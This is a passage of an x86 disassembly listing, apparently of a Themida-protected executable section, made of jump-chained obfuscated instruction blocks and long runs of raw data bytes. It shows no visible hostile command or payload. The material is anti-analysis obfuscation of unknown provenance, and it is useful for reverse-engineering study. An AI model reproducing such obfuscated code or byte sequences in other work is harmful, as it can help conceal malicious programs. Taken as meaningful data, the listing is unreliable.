; ---------------------------------------------------------------------------
		db 1
		dd 0F2815BDAh, 13A203ADh, 2936EA81h, 0FBE974F7h
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F9D3:				; CODE XREF: Themida_:0054FC50j
		add	ecx, 6BEE3277h
		add	ecx, ebp
		jmp	loc_54B5BF
; ---------------------------------------------------------------------------
dword_54F9E0	dd 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFFAF48h, 81D9F75Ah
					; DATA XREF: Themida_:005444BCo
		dd 0FDC6FAE9h, 1FC281BEh, 1797F5Bh, 1FEA81CAh, 0E9797F5Bh
		dd 0FFFF99ECh
; ---------------------------------------------------------------------------


loc_54FA0C:				; CODE XREF: Themida_:0054F650j
		shl	edi, 7
		add	edi, 84E3DB2Ch
		add	edx, edi
		pop	edi
		mov	ebx, 3469816Bh
		xor	ebx, edx
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54791C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4C38100h, 87000000h, 555C241Ch, 0FF8F9BE9h, 4C481FFh
		dd 81000000h, 4ECh, 242C8900h, 0A4106FBDh, 0AF7DE975h
		dd 0F201FFFFh, 4C2835Eh, 0E9241487h, 0FFFF7F3Bh, 0C3E95450h
		dd 4FFFFE1h, 2CD80025h,	13E95325h, 5AFFFF59h, 31243433h
		dd 34332434h, 0E9505C24h, 0FFFFC90Ch, 2591EA81h, 0D12946EEh
		dd 0FF8A59E9h, 0D9F581FFh, 5251D47Ch, 3C6812BAh, 55B1E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FAB6:				; CODE XREF: Themida_:0054D771j
		sub	eax, 797D3705h
		or	eax, 1F5F42ACh
		sub	eax, 9FFF56ABh
		add	esi, eax
		pop	eax
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_54E49B
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 8B243C87h, 0BB532424h, 171B3DA9h,	8904EC83h, 0A068241Ch
		dd 8B2E2912h, 0C481241Ch, 4, 0E3E9EBD1h, 53FFFF7Dh, 4BBh
		dd 12C58100h, 16ADB63h,	12ED81DDh, 8B6ADB63h, 0C483241Ch
		dd 84BA5204h, 0C15C7D76h, 0DAF707E2h, 0FF5417E9h, 243C89FFh
		dd 0A114E9BFh, 7DF7814Fh, 8111AC24h, 1106DBCFh,	0DFF74F09h
		dd 23C2CF81h, 0F7816480h, 0E4E2EBE6h, 875FF801h, 8B5C2404h
		dd 0EC832404h, 240C8904h, 0FF4E5FE9h
		db 0FFh
byte_54FB65	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00544620o
		dd 6659669Dh, 9C241CD3h, 0FF4B32E9h, 1E281FFh, 0F74A015Bh
		dd 0C0E281DAh, 0F739AD08h, 0C257E9DAh
		db 2 dup(0FFh)
word_54FB8A	dw 68ACh		; DATA XREF: Themida_:0054457Co
		dd 3A1Eh, 0E9241489h, 0FFFFB41Fh, 81E6C180h, 4ECh, 24048900h
		dd 0C4FED7B4h, 5266D4F6h, 0C8E99DB2h, 0C0FFFFE5h, 0C9FE08E9h
		dd 0FF648EE9h, 59CF88FFh, 5105EFC0h, 0FFB784E9h, 0E8E95CFFh
		dd 8B000017h, 0C4812414h, 4, 4EC8155h, 89000000h, 0BA662414h
		dd 0BD660658h, 29667E90h, 66575AD5h, 663A9DBFh,	40C9C781h
		dd 5FFD0966h, 56C58166h, 0E9316602h, 0BA66525Dh, 56662E23h
		dd 220BBE66h, 66F20166h, 6E44E95Eh, 1489FFFFh, 0CB2AE924h
		dd 0F681FFFFh, 4D0A09FFh, 474FEE81h, 0EE814E66h, 64C86F8Eh
		dd 30E9DEF7h, 83FFFFA7h, 348904ECh, 46C2BE24h, 0CFE90259h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FC4B:				; CODE XREF: Themida_:0054C48Dj
		mov	ebp, 0FFFFFFFFh
		jmp	loc_54F9D3
; ---------------------------------------------------------------------------
		db 81h,	44h, 24h
		dd 9113EF08h, 246C290Dh, 246C8108h, 9113EF08h, 2E95D0Dh
		dd 57FFFF5Ch, 1D6689BFh, 0F7DFF77Dh, 8AC781DFh,	476C5874h
		dd 8104EFC1h, 0FB2FFFF7h, 5FFA2944h, 5DE90288h,	0BBFFFF80h
		dd 59B46B18h, 0FF668FE9h, 2C681FFh, 68000000h, 3F7h, 89240489h
		dd 405E0h, 42D0000h, 87000000h,	6BE92404h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FCBF:				; CODE XREF: Themida_:0054B6F4j
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	eax, esp
		jmp	loc_548E49
; ---------------------------------------------------------------------------


loc_54FCCD:				; CODE XREF: Themida_:0054C974j
		shl	edx, 1
		push	dword ptr [edi+24h]
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 0FFFFFFFFh
		push	42Fh
		mov	[esp], ebx
		mov	ecx, [esp]
		add	esp, 4
		pop	ebx
		push	ebp
		push	eax
		mov	eax, 1D517186h
		add	eax, 47EF7CAEh
		jmp	loc_548795
; ---------------------------------------------------------------------------
		dd 9ED3C281h, 0D5292CF6h, 4822D5Ah, 0E8290C00h,	0FF9BF0E9h
		dd 4989E9FFh, 0C89FFFFh, 4981E924h, 0E089FFFFh,	5ACEBD55h
		dd 0E5C1077Ch, 0AAED8102h, 81693B54h, 48113AEDh, 81D5F76Ch
		dd 91FAAFF5h, 5DE801B7h, 2BF57h, 0F8010000h, 0FF8CBBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FD55:				; CODE XREF: Themida_:0054AB92j
		pop	ecx
		jmp	loc_54CBE6
; ---------------------------------------------------------------------------


loc_54FD5B:				; CODE XREF: Themida_:00544D01j
		pop	eax
		add	[esp+8], ebp
		jmp	loc_545699
; ---------------------------------------------------------------------------
		db 50h,	0B4h, 4Dh
		dd 0F480C4FEh, 0E9DCF6FBh, 0FFFF9C03h
; ---------------------------------------------------------------------------


loc_54FD74:				; CODE XREF: Themida_:00550BFCj
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_545C1D
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 24248B24h, 9CC83B66h, 0FF4912E9h, 9CBB53FFh,	896C3548h
		dd 0C9815BD9h, 675A14D8h, 0FFDE08E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FDA9:				; CODE XREF: Themida_:0054C1B7j
		add	esp, 4
		jmp	loc_546CE1
; ---------------------------------------------------------------------------
		db 0B7h, 8Eh, 0FEh
		dd 0E95266C7h, 0FFFFFAF9h, 0C108E1C1h, 0F18104E9h, 73EE27A0h
		dd 7B21F181h, 0CE2916DDh, 246E9h
		db 0
byte_54FDD5	db 66h,	0F7h, 1Ch	; DATA XREF: Themida_:00544408o
		dd 0C8E99C24h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FDDF:				; CODE XREF: Themida_:00547B6Cj
		dec	edi
		dec	edi
		not	edi
		neg	edi
		add	edi, 2139D165h
		sub	eax, edi
		pop	edi
		pop	ecx
		push	eax
		mov	eax, esp
		jmp	loc_54A986
; ---------------------------------------------------------------------------
		db 29h
		dd 0F82159CFh, 0FC00B5Fh, 0FFF0EF84h, 41DD68FFh, 40E90000h
		dd 58FFFF5Dh, 8304C483h, 143302C2h, 24143124h, 8B241433h
		dd 2CD22424h, 7CE99C24h
		db 48h,	2 dup(0FFh)
byte_54FE2B	db 0FFh			; DATA XREF: Themida_:0054442Co
		dd 669D1C77h, 24041058h, 9C71E99Ch, 0E289FFFFh,	0E904EC83h
		dd 0FFFFCB77h, 0B690E95Eh, 0EDB9FFFFh, 0E940B376h, 0FFFFDA12h
; ---------------------------------------------------------------------------


loc_54FE54:				; CODE XREF: Themida_:0054805Fj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_5446A7
; ---------------------------------------------------------------------------
		db 33h
		dd 248B241Ch, 9943E924h, 335AFFFFh, 34312434h, 24343324h
		dd 48B665Ch, 3BFA6824h,	4890000h, 0CEC0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FE8E:				; CODE XREF: Themida_:0054D7EFj
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 76A8344Bh
		and	edx, 59CC6B6Fh
		sub	edx, 50882047h
		jmp	loc_54DF2D
; ---------------------------------------------------------------------------
		dd 0D1F68058h, 805AF300h, 9E9C9C3h, 1FFFF8Fh, 0D448E9CAh
		dd 0EDB7FFFFh, 4EC81h, 14890000h, 0F6C2B624h, 0C0CEFED6h
		dd 0CE8004E6h, 0FEEE8063h, 2844EF80h, 44C780F7h, 0B252665Ah
		dd 66D000A7h, 51F8285Ah, 13ABE9h, 6BFABE00h, 0E6C12739h
		dd 3EE8106h, 1A97E8Eh, 0D0295EF0h, 94DAE957h, 0C781FFFFh
		dd 4, 4EF81h, 0A8E90000h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FF23:				; CODE XREF: Themida_:0054B254j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54794E
; ---------------------------------------------------------------------------


loc_54FF2C:				; CODE XREF: Themida_:00545B90j
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_548A60
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 0FFFFF77Dh
; ---------------------------------------------------------------------------


loc_54FF40:				; CODE XREF: Themida_:0054C285j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	1CF6h
		jmp	loc_54C033
; ---------------------------------------------------------------------------


loc_54FF53:				; CODE XREF: Themida_:0054D60Cj
		xor	ebp, [esp]
		pop	esp
		xor	ebx, eax
		push	small word ptr [eax]
		jmp	loc_5446A7
; ---------------------------------------------------------------------------
		db 42h,	0C1h, 0E2h
		dd 2BF5708h, 31E73E78h,	243C8BFAh, 0E904C483h, 0FFFF4D8Eh
		dd 2404895Ch, 0FFD403E9h, 59CA01FFh, 0FF77D6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FF89:				; CODE XREF: Themida_:00548C86j
		add	eax, 30117E1Bh
		xor	eax, 1E3F2E5Fh
		jmp	loc_544822
; ---------------------------------------------------------------------------
		dd 854C88BDh, 0CBC5811Dh, 0E925900Dh, 1058h
; ---------------------------------------------------------------------------


loc_54FFA8:				; CODE XREF: Themida_:005457F0j
		sub	ecx, 4
		jmp	loc_548398
; ---------------------------------------------------------------------------
		db 89h
		dd 0B0E92434h
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FFBB:				; CODE XREF: Themida_:005458F1j
		pop	esp
		jmp	loc_5480E2
; ---------------------------------------------------------------------------


loc_54FFC1:				; CODE XREF: Themida_:0054EECBj
		or	ebx, 338B6BC0h
		neg	ebx
		sub	ebx, 92F3A9F8h
		mov	ecx, ebx
		pop	ebx
		xor	ecx, 8F25B0F0h
		jmp	loc_550C80
; ---------------------------------------------------------------------------
		db 83h,	0C3h, 4
		dd 0E9241C87h, 680h, 50F568h, 242C8900h, 0FF6B0CE9h, 5EF001FFh
		dd 2BE56h, 0F0010000h, 2404335Eh, 0E9240431h, 0FFFF5505h
		dd 6F8868h, 24148900h, 20E9C7B6h, 59FFFFC1h, 0A3E9C601h
		db 0ACh, 2 dup(0FFh)
byte_550023	db 0ACh			; DATA XREF: Themida_:005445A4o
		dd 6704BF04h, 672CD800h, 0FFD624E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550031:				; CODE XREF: Themida_:0054B4D5j
		pop	esp
		mov	[esp], esi
		jmp	loc_54E4F9
; ---------------------------------------------------------------------------


loc_55003A:				; CODE XREF: Themida_:0054C73Fj
		mov	ebp, 4E783624h
		or	ebp, 2782459h
		neg	ebp
		shr	ebp, 8
		jmp	loc_54A06B
; ---------------------------------------------------------------------------


loc_55004F:				; CODE XREF: Themida_:00549762j
		mov	esi, 2C297A23h
		mov	edx, 2C2D7A23h
		xor	edx, esi
		mov	esi, [esp]
		jmp	loc_545BFE
; ---------------------------------------------------------------------------
		db 66h
		dd 2801B450h, 0E474E9E3h, 0EF81FFFFh, 6F6F1301h, 0FF4B5FE9h
		dd 7E581FFh, 6805F034h,	6BEFh, 0FFE973E9h
		db 0FFh
byte_550089	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0054452Co
		dd 1858669Dh, 0E99C2404h, 0FFFF460Fh, 8124148Bh, 4C4h
		dd 4EC8100h, 89000000h,	68241Ch, 5B000000h, 0A1E9FB29h
		dd 28FFFFBFh, 285A66D5h, 2434FFEAh, 0FF9B62E9h,	27B850FFh
		dd 89682048h, 24048BC6h, 8104C483h, 0D340AACEh,	4EC8124h
		dd 0E9000000h, 0FFFFDEAFh
; ---------------------------------------------------------------------------


loc_5500E4:				; CODE XREF: Themida_:0054CDFBj
		mov	ebx, 254C31F2h
		sub	ebx, 0DC8F2A60h
		jmp	loc_5477EB
; ---------------------------------------------------------------------------
		dd 335AD001h, 0B8E92404h, 55FFFF5Dh, 2BDh, 0EC36800h, 3C890000h
		dd 4F6DBF24h, 0F6E95260h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550117:				; CODE XREF: Themida_:00547CEBj
		mov	edi, 16454E72h
		inc	edi
		xor	edi, 8CC8E7F8h
		sub	esi, 752D2358h
		add	esi, edi
		add	esi, 752D2358h
		mov	edi, [esp]
		jmp	loc_549093
; ---------------------------------------------------------------------------
		db 0BDh, 6Fh, 6Ch
		dd 0E9563ACEh, 0FFFF9561h, 4E5FE951h, 0DEF7FFFFh, 81FFC683h
		dd 0C591FEEh, 8BF001FDh, 0C4832434h, 4BA5204h, 1000000h
		dd 0A597E9D0h, 48BFFFFh, 0E0895024h, 405h, 0E9505500h
		dd 0FFFF9443h
; ---------------------------------------------------------------------------


loc_55017C:				; CODE XREF: Themida_:00548809j
		xor	[edi+24h], ecx
		sub	ecx, 0FFFFFFFFh
		push	dword ptr [edi+24h]
		push	ecx
		pop	dword ptr [edi+24h]
		pop	ecx


loc_55018D:				; CODE XREF: Themida_:0054E8EDj
		push	27D6h
		mov	[esp], ecx
		jmp	loc_54A8E0
; ---------------------------------------------------------------------------
		dw 489h
		dd 10B86824h, 0D584ADAh, 516440C7h, 3502E8C1h, 12DC6447h
		dd 4BA16853h, 4890000h,	24048124h, 717B00FFh, 0FFEB815Bh
		dd 0E9717B00h, 0FFFF7767h, 0E958E588h, 0FFFF53FFh, 2434895Ch
		dd 42474FFh, 8B2434FFh,	0C4812434h, 4, 8F04C483h, 6EE92404h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5501F3:				; CODE XREF: Themida_:0054AE82j
		xor	esi, 6A25FB34h
		mov	[edi+24h], esi
		pop	esi
		shr	dword ptr [edi+24h], 8
		jmp	loc_54EC51
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 7F2B7710h, 2B7714BDh, 0E8B6E97Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550216:				; CODE XREF: Themida_:0054D127j
		and	edi, 791918E9h
		xor	edi, 29401BACh
		jmp	loc_549754
; ---------------------------------------------------------------------------
		db 89h
		dd 0CAE92404h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55022F:				; CODE XREF: Themida_:0054CA21j
		add	ebp, 56953A79h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 6F261320h
		sub	ebp, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2936221Bh
		add	ebp, esi
		pop	esi
		mov	eax, ebp
		jmp	loc_54D99C
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 0CA86E924h
		db 2 dup(0FFh)
word_550266	dw 8956h		; DATA XREF: Themida_:00544504o
		dd 89E957E6h, 89FFFF7Ah, 0E959CEh, 2DFFFF5Bh, 315F6308h
		dd 62E9C829h, 5DFFFFDCh, 0E904EC83h, 0FFFFA7EAh, 0FF4416E9h
		db 0FFh
byte_550291	db 66h,	8Bh, 4		; DATA XREF: Themida_:00544420o
		dd 59545124h, 4BF57h, 0F9010000h, 6396E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5502A6:				; CODE XREF: Themida_:0054A11Ej
		mov	ebp, 6DDD5CF2h
		dec	ebp
		neg	ebp
		jmp	loc_5473C2
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4C681h, 34870000h, 64E95C24h, 21FFFFD0h, 348B1C77h
		dd 0E1895124h, 0FF8795E9h, 0D5F766FFh, 66EA8766h, 0F2816642h
		dd 81664B82h, 5531D1F2h, 4C99BD66h, 7ACD8166h, 6645665Fh
		dd 66515D68h, 66240489h, 66670EB8h, 5866C509h, 8DC58166h
		dd 0EA0166F7h, 0C281665Dh, 83666304h, 816601EAh, 662171CAh
		dd 2BFE281h, 6BEA8166h,	0D02966E5h, 5A2434FFh, 6604C483h
		dd 0B70FC331h, 0DC6866C0h, 4896639h, 4369E924h
		db 2 dup(0FFh)
word_55033E	dw 8B66h		; DATA XREF: Themida_:005445B8o
		dd 0A6E92404h, 56000008h, 0D24773BEh, 10C6812Fh, 0C146D77Eh
		dd 0D6F708EEh, 563EF681h, 8AE9FF89h, 80FFFFAEh,	0A1040EEAh
		dd 55DE9h, 6206800h, 14890000h,	8049B624h, 0EE8061F6h
		dd 54BFE94Fh, 2D5BFFFFh, 85F0F420h, 158C289h, 0C3815AD0h
		dd 1EA34094h, 0EB81C329h, 1EA34094h, 3DCE9h, 5BD80100h
		dd 31240433h, 61E92404h, 0C1FFFFB5h, 8CE908EFh,	4EFFFFB1h
		dd 814EEED1h, 7C03D8F6h, 0E9F0292Fh, 0FFFF9F01h
dword_5503C8	dd 8B2434FFh, 0C481240Ch, 4, 835A5452h,	2C8904ECh, 256BBD24h
					; DATA XREF: Themida_:005444A8o
		dd 0E5C17F5Eh, 6804h, 2C290000h, 0ED815D24h, 0E66E67D8h
		dd 0FF9553E9h, 4EC81FFh, 89000000h, 5358243Ch, 0C381E389h
		dd 4, 8704EB83h, 895C241Ch, 0C6892434h,	0FFCFD0E9h, 4C483FFh
		dd 81241C8Bh, 4C4h, 4279E900h, 487FFFFh, 24248B24h, 68C8BF0Fh
		dd 4DE9h, 0FFF8DDE9h, 65C681FFh, 158CF65h, 0FD895EF7h
		dd 0E9EE015Fh, 0FFFF45ACh, 0EE0DC581h, 0EE01880Fh, 74FF565Dh
		dd 8F5E0424h, 665C2404h, 56C8B60Fh, 0C681E689h,	4
		db 51h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		jmp	loc_545B8C
; ---------------------------------------------------------------------------


loc_55048A:				; CODE XREF: Themida_:005495F5j
		push	edi
		jmp	loc_546F3D
; ---------------------------------------------------------------------------
		dd 13A8EE81h, 0E95D1874h, 0FFFFFB59h, 8147F281h, 0D3019A88h
		dd 8BD8295Ah, 9EE9241Ch, 53FFFFF5h, 2BE9D7B3h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5504B7:				; CODE XREF: Themida_:0054A154j
		mov	edi, 4
		add	ebx, edi
		pop	edi
		push	ebp
		jmp	loc_54A7AE
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 4C58100h, 87000000h, 0E95C242Ch, 0FFFFD5B0h, 5C240487h
		dd 89242C89h, 23EE9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5504EA:				; CODE XREF: Themida_:00549904j
		push	ebx
		jmp	loc_54C4E0
; ---------------------------------------------------------------------------
		dd 2434FF54h, 83242C8Bh, 0C48104C4h, 4,	0E2C68h, 24148900h
		dd 983BA9BAh, 0ADB9514Ah, 314A983Bh, 26E959CAh
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55051B:				; CODE XREF: Themida_:0054EB59j
		mov	cl, 89h
		jmp	loc_546C40
; ---------------------------------------------------------------------------
		dw 0DD29h
		dd 2BED815Bh, 17F0E7Bh,	2BC581F5h, 507F0E7Bh, 6C7F9EB8h
		dd 7F990D77h, 2D40715Dh, 71696D7Bh, 0FDE9C501h,	31FFFF98h
		dd 0D80159CBh, 0FFAB2BE9h, 29BB53FFh, 0E96AE162h, 0FFFF8B90h
		dd 0F7ED81h, 0FD011BB9h, 0F7BA52h, 0D5011BB9h, 0FF80C5E9h
		dd 0EA815FFFh, 3CD04579h, 0B850DA29h, 3CD04579h, 78E9C201h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55058B:				; CODE XREF: Themida_:0054BCAEj
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	26BAh
		mov	[esp], ebp
		push	ebx
		jmp	loc_545C3C
; ---------------------------------------------------------------------------
aNh		db '­h"#',0             ; DATA XREF: Themida_:00544638o
		align 4
		dd 0BD242C89h, 0EA265E0h, 2368D5F7h, 8900000Ch,	97B9240Ch
		dd 0C165ED3Bh, 0B8E906E1h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5505C7:				; CODE XREF: Themida_:005448A1j
		mov	esi, 59B84B22h
		xor	esi, 5D2700FEh
		or	esi, 617659B0h
		xor	esi, 23DD2968h
		sub	eax, esi
		pop	esi
		and	eax, 5B222C98h
		shl	eax, 6
		or	eax, 781D3A7Bh
		add	eax, 3CF85CBDh
		jmp	loc_5508FD
; ---------------------------------------------------------------------------


loc_5505F8:				; CODE XREF: Themida_:00550B72j
		mov	[esp], ecx
		jmp	loc_547B50
; ---------------------------------------------------------------------------
		dd 7947C981h, 0E18127EFh, 408727F8h, 23F4F181h,	0CE010087h
		dd 0E9240C8Bh, 0FFFFA787h, 4558EF81h, 0F83119C0h, 0E9C6015Fh
		dd 0FFFFBB03h
; ---------------------------------------------------------------------------


loc_55062C:				; CODE XREF: Themida_:00546A59j
		pop	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_54505C
; ---------------------------------------------------------------------------
byte_550635	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005445C8o
		dd 4EC8124h, 89000000h,	5E542434h, 4EC8352h, 68243C89h
		dd 64F41885h, 83243C8Bh, 0E94704C4h, 0FFFFDE57h, 4EC815Ah
		dd 0E9000000h, 0FFFFDBA2h, 3AC6815Ch, 0E9495B5Bh, 0FFFF49BBh
		dd 8802B652h, 50665AF5h, 8034B353h, 0B05035CBh,	8BC30814h
		dd 0EAE92404h, 51FFFFC2h, 0E1C06FB1h, 83F18008h, 59C828h
		dd 83B652E8h, 0F0002D04h, 0DEF4E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5506AA:				; CODE XREF: Themida_:0054541Cj
		add	esp, 4
		and	ecx, ebp
		mov	ebp, [esp]
		push	26B9h
		mov	[esp], edx
		mov	edx, esp
		push	esi
		jmp	loc_54AD8F
; ---------------------------------------------------------------------------
		db 1, 0D8h, 5Bh
		dd 251AEB81h, 0C3813C93h, 6C287C3Fh, 0BF57C301h, 6C287C3Fh
		dd 685FFB29h, 750Ah, 0E9242C89h, 0A6Fh
; ---------------------------------------------------------------------------


loc_5506EC:				; CODE XREF: Themida_:0054CE35j
		mov	cl, 30h
		sub	cl, 0B2h
		shr	cl, 4
		neg	cl
		or	cl, 78h
		add	cl, 0Eh
		sub	bh, cl
		jmp	loc_5487E0
; ---------------------------------------------------------------------------
		db 89h
		dd 37E9240Ch, 0BDFFFFF2h, 6CC12540h, 4D4DDDF7h,	68C3CD81h
		dd 0C5815E49h, 6F9A2926h, 0E95DEA29h, 2E1h, 4C581h, 0EC830000h
		dd 24148904h, 219E9h, 2C916800h, 14890000h, 81E28924h
		dd 4C2h, 4EA8100h, 33000000h, 14312414h, 24143324h, 6937E95Ch
		dd 0C381FFFFh, 0F3511DFh, 24148B50h, 2C0D68h, 24048900h
		dd 0BE565854h, 27CB195Ah, 0FFFDD8E9h, 2434FFFFh, 8124048Bh
		dd 4C4h, 4C48300h, 0FF9131E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550791:				; CODE XREF: Themida_:0054CD77j
		add	al, 55h
		add	al, 3Ch
		add	al, dl
		push	ebx
		mov	bl, 3Ch
		sub	al, bl
		jmp	loc_54A680
; ---------------------------------------------------------------------------
byte_5507A1	db 83h,	0ECh, 4		; DATA XREF: Themida_:00544580o
		dd 0E9240489h, 0FFFF4EFBh, 0D7E95854h, 35FFFFE1h, 0E4B18A38h
		dd 8158C231h, 7B3FE7EFh, 81D70155h, 7B3FE7C7h, 7E95A55h
		dd 0E9FFFFF3h, 0FFFF3ED3h, 4EC81h, 4890000h, 0FCC6824h
		dd 1BE90000h, 83FFFFBFh, 49E904ECh, 66FFFFD5h, 6675C62Dh
		dd 566E801h, 34FF75C6h,	0C4835D24h, 797AE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550806:				; CODE XREF: Themida_:0054EB06j
		mov	[esp], ecx
		push	esi
		jmp	loc_54C2FA
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 2C28100h, 87000000h, 0F65C2414h, 240C30D1h, 30240C32h
		dd 78E9240Ch
		db 3Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55082F:				; CODE XREF: Themida_:00550B4Aj
		mov	edi, [esp]
		push	ebp
		jmp	loc_5456ED
; ---------------------------------------------------------------------------


loc_550838:				; CODE XREF: Themida_:0054E5BCj
		pop	edi
		or	eax, eax
		jnz	loc_550D4D
		push	edi
		mov	edi, 2A900760h
		add	edi, 0FFFFFFFFh
		push	ebp
		push	ecx
		push	esi
		mov	esi, 7C7A0F51h
		shr	esi, 4
		jmp	loc_548E22
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 0D3FDE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550862:				; CODE XREF: Themida_:00548EFBj
		not	ebp
		push	ebx
		mov	ebx, 47077EB1h
		xor	ebp, ebx
		pop	ebx
		shl	ebp, 3
		push	ebx
		jmp	loc_54528C
; ---------------------------------------------------------------------------


loc_550876:				; CODE XREF: Themida_:0054B802j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	eax
		jmp	loc_54EA1B
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 68000000h,	688Ch, 0E9240489h, 0FFFF3E07h
; ---------------------------------------------------------------------------


loc_5508A0:				; CODE XREF: Themida_:0054A654j
		not	ebx
		xchg	eax, ebx
		add	eax, 5A7BA26Dh
		or	esi, eax
		pop	eax
		jmp	loc_547F24
; ---------------------------------------------------------------------------
		dd 99E9C7FEh
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5508B7:				; CODE XREF: Themida_:0054535Aj
		push	eax
		jmp	loc_5494AE
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24043166h, 3DDDE99Ch, 0B151FFFFh, 0E9C80093h, 0FFFF9836h
; ---------------------------------------------------------------------------


loc_5508D4:				; CODE XREF: Themida_:0054AF7Ej
		add	ebx, 7D351BC9h
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_550FFA
; ---------------------------------------------------------------------------
		db 31h,	0Ch, 24h
		dd 0FF959EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5508F1:				; CODE XREF: Themida_:0054F40Ej
		pop	esp
		xchg	esi, ebp
		not	esi
		xchg	esi, ebp
		jmp	loc_54F69C
; ---------------------------------------------------------------------------


loc_5508FD:				; CODE XREF: Themida_:005505F3j
		sub	eax, 35159B34h
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]


loc_55090B:				; CODE XREF: Themida_:00545543j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_54BFD1
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 0DB7BC1CAh, 815DEB31h, 1129FEC2h, 4EC2810Dh,	1766429h
		dd 4EEA81DAh, 81766429h, 1129FEEAh, 0C2835B0Dh,	6348E902h
		dd 0BB53FFFFh, 1895105h, 895107BAh, 5BDA2901h, 2FC1C581h
		dd 0D5012B19h, 2FC1ED81h, 555A2B19h, 42474FFh, 24048F5Dh
		dd 0F624248Bh, 0B60F66F9h, 58D668CCh, 3C890000h, 5E95424h
		dd 89FFFF97h, 0C6BB53E2h, 0F728A468h, 6E39E9D3h
		db 2 dup(0FFh)
word_55099E	dw 34FFh		; DATA XREF: Themida_:005444C8o
		dd 65CEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5509A6:				; CODE XREF: Themida_:0054B040j
		push	101Bh
		mov	[esp], ebp
		mov	ebp, 28343B8Ah
		push	eax
		mov	eax, 574B2F28h
		add	ebp, eax
		pop	eax
		shl	ebp, 3
		push	edx
		mov	edx, 5C986646h
		xor	edx, 10865E4Ah
		jmp	loc_5475C1
; ---------------------------------------------------------------------------


loc_5509D0:				; CODE XREF: Themida_:00546AEFj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54C5EF
; ---------------------------------------------------------------------------
		db 0BAh, 2, 0
		dd 0D6010000h, 0FFF481E9h, 53B850FFh, 406FF91Eh, 2125D0F7h
